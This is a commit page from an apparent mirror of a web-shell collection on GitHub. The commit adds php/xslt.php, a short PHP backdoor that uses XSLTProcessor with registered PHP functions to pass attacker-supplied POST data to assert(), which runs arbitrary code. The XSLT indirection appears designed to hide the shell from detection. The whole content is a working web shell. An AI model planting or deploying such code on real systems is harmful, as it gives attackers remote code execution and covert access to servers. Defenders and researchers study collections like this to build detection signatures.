mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
parent
69d5a36bbf
commit
6652171538
1 changed files with 15 additions and 0 deletions
15
php/xslt.php
Normal file
15
php/xslt.php
Normal file
|
@ -0,0 +1,15 @@
|
|||
<?php
|
||||
$xml='<root>assert($_POST[a]);</root>';
|
||||
$xsl='<?xml version="1.0" encoding="UTF-8"?>
|
||||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl">
|
||||
<xsl:template match="/root">
|
||||
<xsl:value-of select="zcg:function(\'assert\',string(.))"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>';
|
||||
$xmldoc = DOMDocument::loadXML($xml);
|
||||
$xsldoc = DOMDocument::loadXML($xsl);
|
||||
$proc = new XSLTProcessor();
|
||||
$proc->registerPHPFunctions();
|
||||
$proc->importStyleSheet($xsldoc);
|
||||
$proc->transformToXML($xmldoc);
|
||||
?>
|
Loading…
Reference in a new issue